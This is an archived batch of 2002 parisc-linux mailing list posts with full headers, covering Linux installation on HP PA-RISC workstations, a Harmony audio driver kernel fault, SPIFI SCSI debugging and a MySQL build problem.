To: dann <dannf@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 16:48:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84A4F4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 16:48:52 -0600 (MDT)
Original-Received: from freebel.net (62.235.70.239) by mail.tiscali.be (6.0.053) (authenticated as jsoe0708@tiscali.be)
        id 3D3815AE00AC8931; Wed, 18 Sep 2002 00:41:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16161


dann wrote:
> Yves,
>   forwarding to the parisc-linux, which is a more appropriate place
> for this question.
> 
> as an aside, 0.9.3 is not the latest release - debian 3.0 contains newer bits.
> <hint>maybe one of these days someone will point that out on -announce</hint>

Dann you have right 0.9.3 iso is quiet old and Debian3.0r0 iso are 
referenced on :http://www.parisc-linux.org/index.html (i do not find it 
any more on .de? but well on .se)

As well as the net install iso (when it is possible to install over a 
network connection) which offer the advantage to propose the last 
development kernel :)

Yves, good luck

	Joel



From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Speer, Joshua" <Joshua.Speer@corp.winfirst.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [lists] installing Linux on A Visualise C2
	40
Date: Tue, 17 Sep 2002 15:52:18 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <95DAF5BCC67DD411957B00508BAECA3ACD35B7@MT_BELFORD>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621728 14114 80.91.229.3 (22 Nov 2014 02:02:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:08 +0000 (UTC)
To: Yves Vrijhoeven <yvesvrijhoeven@hotmail.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 16:52:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sunlight_pk.corp.winfirst.com (mail.corp.winfirst.com [66.205.159.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF7044829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 16:52:28 -0600 (MDT)
Original-Received: by sunlight_pk.corp.winfirst.com with Internet Mail Service (5.5.2653.19)
	id <Q1RG752S>; Tue, 17 Sep 2002 15:52:23 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16162

We had the same problem on a L9000 we put the octopus cable on the server,
and a console cable on the console port, and everything worked fine. 

Josh

-----Original Message-----
From: dannf@fc.hp.com [mailto:dannf@fc.hp.com] 
Sent: Tuesday, September 17, 2002 2:54 PM
To: Yves Vrijhoeven; parisc-linux@lists.parisc-linux.org
Subject: [parisc-linux] Re: [lists] installing Linux on A Visualise C240

Yves,
  forwarding to the parisc-linux, which is a more appropriate place
for this question.

as an aside, 0.9.3 is not the latest release - debian 3.0 contains newer
bits.
<hint>maybe one of these days someone will point that out on
-announce</hint>


On Tue, Sep 17, 2002 at 11:46:39PM +0200, Yves Vrijhoeven wrote:
> Hi,
> 
> I downloaded the "palinux-0.9.3.iso" and burned it to CD.  If I put the CD
in PA RISC powerd PC (Visualise C240) and boot with the command "bo
sescsi.3.0" the PC seems to boot from the CD (I get somewhere the message
"palo ipl 0.96 root@palinux Fri Nov  2 16:31:18 MST 2001" ...(clock setting
is not correct))
> Everything seems ok until I get the message:
> ...
> Branching to kernel entry point 0x00100000.  If this is the last message
you see, you may need to switch your console.  This is a common sympton --
sarch the FAQ and mailing list at parisc-linux.org
> 
> After this nothing happens anymore.  I searched the FAQ and mailing list
but I could not find a solution so far.
> 
> Anyone can help me out on this.
> 
> Thanks in advance.
> 
> Please E-mail me.
> 
> Yves Vrijhoeven
> yves.vrijhoeven@belgacom.net
> yvesvrijhoeven@belgacom.net

-- 
---------------------------
dann frazier
Hewlett-Packard
Linux Systems Division
dannf@hp.com
(970) 898-0800
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.386 / Virus Database: 218 - Release Date: 9/9/2002
 

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.386 / Virus Database: 218 - Release Date: 9/9/2002
 


From - Thu Nov 08 21:24:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L+ crash with mpg123
Date: Tue, 17 Sep 2002 21:02:09 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20020918010209.GC17211@systemhalted>
References: <3D8701AA.4040700@esiee.fr> <varenet@esiee.fr> <20020917170001.DA8DC4829@dsl2.external.hp.com> <20020917180713.P10583@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621729 14120 80.91.229.3 (22 Nov 2014 02:02:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:09 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 19:02:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id D40AA4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 19:02:11 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17rTEH-0004Wy-00; Tue, 17 Sep 2002 21:02:09 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
Content-Disposition: inline
In-Reply-To: <20020917180713.P10583@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (77% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16163

> > > Kernel Fault: Code=15 regs=11ddc640 (Addr=00277e00)
> > > 
> > >       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> > > PSW: 00000000000011000000000000001111 Not tainted
> > > r00-03  00000000 00000023 101feac4 00000200
> > ...
> > > IASQ: 00000000 0000000 IAOQ: 10263c78 10263c70
> > ...
> > what symbols do 101feac4 and 10263c78 refer to?
> 
> 10263c78 is in copy_from_user, 101feac4 is in harmony_audio_write().
> the only point at which we call copy_from_user is:
> 
>                 /* Copy the page to an aligned buffer */
>                 copy_from_user(played_buf.addr + (HARMONY_BUF_SIZE*buf_to_fill)
> 					+ harmony.play_offset,
> 				buffer+count, frame_size);
> 

Data TLB miss fault / Data page fault.

Looks like it walked a little too far into some address that
wasn't mapped?

c.



From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [lists] installing Linux on A Visualise C240
Date: Tue, 17 Sep 2002 18:28:51 -0700 (PDT)
Lines: 56
Approved: news@gmane.org
Message-ID: <20020918012851.16678.qmail@web12502.mail.yahoo.com>
References: <3D87BEBB.5080306@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621729 14126 80.91.229.3 (22 Nov 2014 02:02:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:09 +0000 (UTC)
Cc: Yves Vrijhoeven <yvesvrijhoeven@hotmail.com>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 19:28:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 221664829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 19:28:53 -0600 (MDT)
Original-Received: from [156.153.255.126] by web12502.mail.yahoo.com via HTTP; Tue, 17 Sep 2002 18:28:51 PDT
In-Reply-To: <3D87BEBB.5080306@freebel.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16164

Yves,

I had this same issue with my C180 workstation when booting from my
graphics card loaded in the card cage.  I was able to get the system to
work using my onboard graphics port, but the C240 does not have an
onboard graphics port.  My external graphics card is not supported
(A4071A).  More than likely you have a graphics card in there that is
not supported yet and more than likely never will be.  There is little
information about HP graphics cards out there in order to write the
drivers for them.  If you could give us the product number of the card
we could tell you whether or not it is a supported card.  If it is
supported there is a configuration in the boot handler that is not
correct.  The product number is a letter followed by 4 number then a
letter (ex: A3312A) if you aren't familier with HP product codes.

derek

  
--- Joel Soete <joel.soete@freebel.net> wrote:
> 
> 
> dann wrote:
> > Yves,
> >   forwarding to the parisc-linux, which is a more appropriate place
> > for this question.
> > 
> > as an aside, 0.9.3 is not the latest release - debian 3.0 contains
> newer bits.
> > <hint>maybe one of these days someone will point that out on
> -announce</hint>
> 
> Dann you have right 0.9.3 iso is quiet old and Debian3.0r0 iso are 
> referenced on :http://www.parisc-linux.org/index.html (i do not find
> it 
> any more on .de? but well on .se)
> 
> As well as the net install iso (when it is possible to install over a
> 
> network connection) which offer the advantage to propose the last 
> development kernel :)
> 
> Yves, good luck
> 
> 	Joel
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do you Yahoo!?
Yahoo! News - Today's headlines
http://news.yahoo.com


From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Status SPIFI SCSI
Date: Tue, 17 Sep 2002 18:37:04 -0700 (PDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <20020918013704.37761.qmail@web12504.mail.yahoo.com>
References: <98404C4A-CA77-11D6-8C42-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621729 14133 80.91.229.3 (22 Nov 2014 02:02:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 17 19:37:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12504.mail.yahoo.com (web12504.mail.yahoo.com [216.136.173.196])
	by dsl2.external.hp.com (Postfix) with SMTP id 667224829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 17 Sep 2002 19:37:06 -0600 (MDT)
Original-Received: from [156.153.255.126] by web12504.mail.yahoo.com via HTTP; Tue, 17 Sep 2002 18:37:04 PDT
In-Reply-To: <98404C4A-CA77-11D6-8C42-0030656F07A2@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16165

Good luck trying to find a pinout for the chips on the cards....I can't
even find a block diagram of the cards on the HP internal websites.  As
a sidenote, I was talking to one of my customers this evening that had
dealings with a contractor to HP that was involved in the original
development of the HP-PB devices.  I found an E-mail address for him in
the HP address book and asked him if he would mind us bouncing ideas
off of him.  Waiting to see what he says or if I get a responce.

derek

--- Thibaut VARENE <varenet@esiee.fr> wrote:
> 
> Le mardi, 17 sep 2002,  20:33 Europe/Paris, Christoph Plattner a
> crit 
> :
> 
> Hi Christoph,
> > Hello Ryan,
> >
> > I think usinf the logic analyser will not help you on the
> > SCSI bus. You need the logic analyser on the SPIFI chip!!!
> That's not a problem,
> atm we have a 16channels analyser (we can have up to 128 if needed),
> we tried using the HP 2423A SCSI preprocessor, but ours seems b0rken,
> therefore we decided to plug directly onto the scsi board.
> 
> So plugging onto SPIFI chip shouldn't be a pb, as long as we have its
> 
> pinout,
> so that we can isolate signals we're trying to find.
> 
> So if you can provide us with the pin numbers we should plug on,
> that would help a lot ! :)
> >
> > As I already mentioned in another mail, I think, we
> > DO NOT access the real device. As I have mentioned,
> > we only read out 0x0000ff00 at each address and we
> > "write" the SCSI command in an invalid space ! So this
> > is "OK", that the chip do not produce any interrupts !
> >
> > I think, this is a very basic problem of the bus or
> > i/o bus initilization or the Loquix init, or whatever.
> >
> > I do not expect any frame on the SCSI output !
> >
> > Bye
> > Christoph
> >
> >

__________________________________________________
Do you Yahoo!?
Yahoo! News - Today's headlines
http://news.yahoo.com


From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L+ crash with mpg123
Date: Wed, 18 Sep 2002 09:39:06 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <B5FF03DC-CAD9-11D6-A4F6-0030656F07A2@esiee.fr>
References: <20020918010209.GC17211@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v543)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621730 14137 80.91.229.3 (22 Nov 2014 02:02:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:10 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	Matthew Wilcox <willy@debian.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 18 01:39:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2342B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Sep 2002 01:39:11 -0600 (MDT)
Original-Received: from npyu.esiee.net ([213.245.40.23]) by viefep16-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020918073907.LYAA26027.viefep16-int.chello.at@npyu.esiee.net>;
          Wed, 18 Sep 2002 09:39:07 +0200
In-Reply-To: <20020918010209.GC17211@systemhalted>
X-Mailer: Apple Mail (2.543)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16166

Le mercredi, 18 sep 2002, =E0 03:02 Europe/Paris, Carlos O'Donell a =
=E9crit=20
:

>>>> Kernel Fault: Code=3D15 regs=3D11ddc640 (Addr=3D00277e00)
>>>>
>>>>       YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>>>> PSW: 00000000000011000000000000001111 Not tainted
>>>> r00-03  00000000 00000023 101feac4 00000200
>>> ...
>>>> IASQ: 00000000 0000000 IAOQ: 10263c78 10263c70
>>> ...
>>> what symbols do 101feac4 and 10263c78 refer to?
>>
>> 10263c78 is in copy_from_user, 101feac4 is in harmony_audio_write().
>> the only point at which we call copy_from_user is:
>>
>>                 /* Copy the page to an aligned buffer */
>>                 copy_from_user(played_buf.addr +=20
>> (HARMONY_BUF_SIZE*buf_to_fill)
>> 					+ harmony.play_offset,
>> 				buffer+count, frame_size);
>>
>
> Data TLB miss fault / Data page fault.
>
> Looks like it walked a little too far into some address that
> wasn't mapped?
Yeah,
I caught Matthieu Delahaye lately, he told me that it was probably a
failing "modulo" on the calculation of the remaining size of buffer
to be sent to the audio card, or something like that...
>
> c.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/=



From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] With all this talk about graphics...
Date: Wed, 18 Sep 2002 09:52:34 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <20020918165234.88989.qmail@web12505.mail.yahoo.com>
References: <3D87BEBB.5080306@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621730 14143 80.91.229.3 (22 Nov 2014 02:02:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 18 10:52:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id 4634D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Sep 2002 10:52:36 -0600 (MDT)
Original-Received: from [24.197.206.120] by web12505.mail.yahoo.com via HTTP; Wed, 18 Sep 2002 09:52:34 PDT
In-Reply-To: <3D87BEBB.5080306@freebel.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16167

Well I was actually looking for something else when I ran across these
two links.  I don't know if they are helpful or if they have already
been referenced as far as creating drivers for some of the older and
newer graphics cards.  Since I'm not a software guy I wasn't aware if
they would be helpful or not.


http://docs.hp.com/cgi-bin/onlinedocs.py?mpn=B2355-90142&service=hpux&path=../B2355-90142/00/00/1&title=Graphics%20Administration%20Guide

http://docs.hp.com/cgi-bin/onlinedocs.py?mpn=B2355-90143&service=hpux&path=../B2355-90143/00/00/1&title=Starbase%20Technical%20Addendum%20for%20the%20July%2C%201997%20Workstation%20ACE%20for%20HP-UX%2010.20

derek



__________________________________________________
Do you Yahoo!?
Yahoo! News - Today's headlines
http://news.yahoo.com


From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] anybody has succefully compiled Mysql-3.23.49 from debian source
Date: Wed, 18 Sep 2002 22:32:58 +0300
Lines: 8
Approved: news@gmane.org
Message-ID: <20020918193205.597D04829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621730 14146 80.91.229.3 (22 Nov 2014 02:02:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 18 13:32:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 597D04829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Sep 2002 13:32:05 -0600 (MDT)
Original-Received: (qmail 3416 invoked from network); 18 Sep 2002 19:32:59 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 18 Sep 2002 19:32:59 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16168

-------------------------------------------------------------------
-->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
-->> Download today!! http://www.adjeweb.com
-------------------------------------------------------------------

Hi, I tried to compile mysql-3.23.49, but no good result, there are=20
many errors in compiling with libraries. I do dist-upgrade every week


From - Thu Nov 08 21:24:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@infodrom.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: anybody has succefully compiled Mysql-3.23.49 from debian source
Date: Wed, 18 Sep 2002 21:48:22 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20020918194822.GR30868@finlandia.infodrom.north.de>
References: <20020918193205.597D04829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416621731 14150 80.91.229.3 (22 Nov 2014 02:02:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 18 13:57:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from luonnotar.infodrom.org (luonnotar.infodrom.org [195.124.48.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id F38C44829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 18 Sep 2002 13:57:26 -0600 (MDT)
Original-Received: by luonnotar.infodrom.org (Postfix, from userid 10)
